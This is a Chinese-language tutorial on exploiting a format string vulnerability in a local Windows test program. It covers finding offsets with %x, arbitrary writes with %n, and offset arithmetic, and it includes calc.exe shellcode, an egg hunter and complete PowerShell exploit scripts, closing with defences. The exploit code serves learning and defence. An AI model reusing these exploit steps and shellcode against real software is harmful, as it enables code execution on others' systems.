在Windows下利用格式字符串
字数 1406 2025-08-20 18:17:07
Windows下格式字符串漏洞利用技术详解
一、漏洞背景与原理
格式字符串漏洞是当程序使用用户提供的输入作为printf等格式化函数的格式字符串参数时产生的安全漏洞。在Windows环境下,这种漏洞可以被利用来实现任意内存写入,最终导致代码执行。
漏洞核心原理
- 当printf函数被调用时,如果没有明确指定格式字符串(如
printf(user_input)而非printf("%s", user_input)),用户输入会被解释为格式字符串 - 攻击者可以通过特殊格式说明符(如%x、%n)来读取或写入内存
- %n格式说明符可以将已输出的字符数写入指定地址,这是实现任意内存写入的关键
二、漏洞利用技术分析
1. 基础利用步骤
- 确定偏移量:通过发送多个%x确定用户输入在栈上的位置
- 控制写入地址:利用%n将数据写入特定内存地址
- 劫持控制流:通常通过覆盖返回地址或函数指针
2. 关键利用技术
寄存器控制技术
在示例中,攻击者控制了EAX和ECX寄存器:
- EAX指向返回地址所在的内存位置
- ECX包含要写入的值(shellcode地址)
通过精心构造的格式字符串实现:
mov dword ptr [eax], ecx
内存写入计算
- 使用%x读取栈内容,定位关键偏移
- 使用%n进行写入,通过调整格式字符串长度控制写入值
- 数学计算调整:
- 计算目标地址与实际地址的差值
- 通过调整格式字符串中的数值来精确控制写入值
3. Shellcode布置技术
直接布置
- 将shellcode放在缓冲区开头
- 计算shellcode的绝对地址
- 通过格式字符串漏洞将返回地址覆盖为shellcode地址
示例shellcode(调用calc.exe):
push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte [ebp-04h], 'c'
mov byte [ebp-03h], 'a'
mov byte [ebp-02h], 'l'
mov byte [ebp-01h], 'c'
mov dword [esp+4], edi
mov byte [ebp-08h], 01h
lea eax, [ebp-04h]
push eax
mov eax, 75263640h ; WinExec地址
call eax
Egg Hunter技术
当空间有限时,可以使用Egg Hunter技术:
- 在内存中放置特殊标记(如"W00TW00T")
- 使用小型Hunter代码搜索内存中的标记并跳转到shellcode
Egg Hunter示例:
66 81 CA FF 0F 42 52 6A 02 58 CD 2E 3C 05 5A 74
EF B8 54 30 30 57 8B FA AF 75 EA AF 75 E7 FF E7
三、完整利用过程
1. 环境准备
- 漏洞程序:接受用户输入并直接传递给printf
- 调试器:分析内存布局和寄存器状态
- 确定坏字符:如\x00\x09\x20等
2. 分步利用
第一步:确定偏移量
$Buffer = 'A' * 80
$fmt = '%x' * 21 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
通过不断增加%x数量,直到EAX指向"BBBB"(返回地址位置)
第二步:精确控制ECX
$Buffer = 'A' * 80
$fmt = '%x' * 51 + '%.425430x' * 3 + '%.424942x' + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
计算过程:
- 获取shellcode地址:0x0019f758
- 除以4:0x0019f758/4 = 425430
- 调整差值:0x0019f940 - 0x0019f758 = 488
- 最终调整:425918 - 949 = 424942
第三步:组合利用
完整利用代码:
$shellcode = [Byte[]] @(0x55, 0x89, 0xE5, 0x31, 0xFF, 0x57, 0xC6, 0x45, 0xFC, 0x63, 0xC6, 0x45, 0xFD, 0x61, 0xC6, 0x45, 0xFE, 0x6C, 0xC6, 0x45, 0xFF, 0x63, 0x89, 0x7C, 0x24, 0x04, 0xC6, 0x45, 0xF8, 0x01, 0x8D, 0x45, 0xFC, 0x50, 0xB8, 0x40, 0x36, 0x26, 0x75, 0xFF, 0xD0)
$shellcode += [Byte[]] (0x41) * (80 - $shellcode.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 51) + ([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) + ([system.Text.Encoding]::ASCII).GetBytes('%.424942x') + ([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $shellcode + $fmt + $ret
$payload = ''
ForEach ($i in $final) { $payload += ([system.Text.Encoding]::Default).GetChars($i)}
Start-Process ./fmt.exe -ArgumentList $payload
四、技术要点总结
- 偏移量计算:通过%x确定用户输入在栈上的位置是关键第一步
- 内存写入控制:利用%n和精确计算实现任意地址写入
- 寄存器控制:控制EAX指向目标地址,ECX包含要写入的值
- Shellcode布置:考虑空间限制和坏字符,可采用直接布置或Egg Hunter技术
- 平台差异:不同编译器实现的printf函数可能有差异,需要针对性调整
五、防御措施
- 永远不要使用用户输入作为格式字符串
- 使用安全的函数如
printf("%s", user_input) - 启用编译器的安全特性(如GS、DEP等)
- 进行输入验证和过滤
通过深入理解这些技术细节,安全研究人员可以更好地识别和防御格式字符串漏洞,同时也为漏洞利用技术研究提供了重要参考。